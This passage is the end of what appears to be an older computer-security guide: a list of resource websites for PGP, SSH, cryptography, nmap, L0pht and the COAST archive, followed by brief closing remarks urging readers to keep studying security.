MIT Center for PGP	web.mit.edu/network/pgp.html
SSH Home Page	www.ssh.org
Cryptix	www.cryptix.org
nmap & Exploits	www.insecure.org
Steve Gibson's Shields Up	grc.com
L0pht Industries	www.l0pht.com
Old COAST site archive	www.cerias.purdue.edu/coast

## REMARKS

You must search, study and explore to become knowledgeable in any field. Security is no different. Just spend some time exploring and thinking.

Good luck.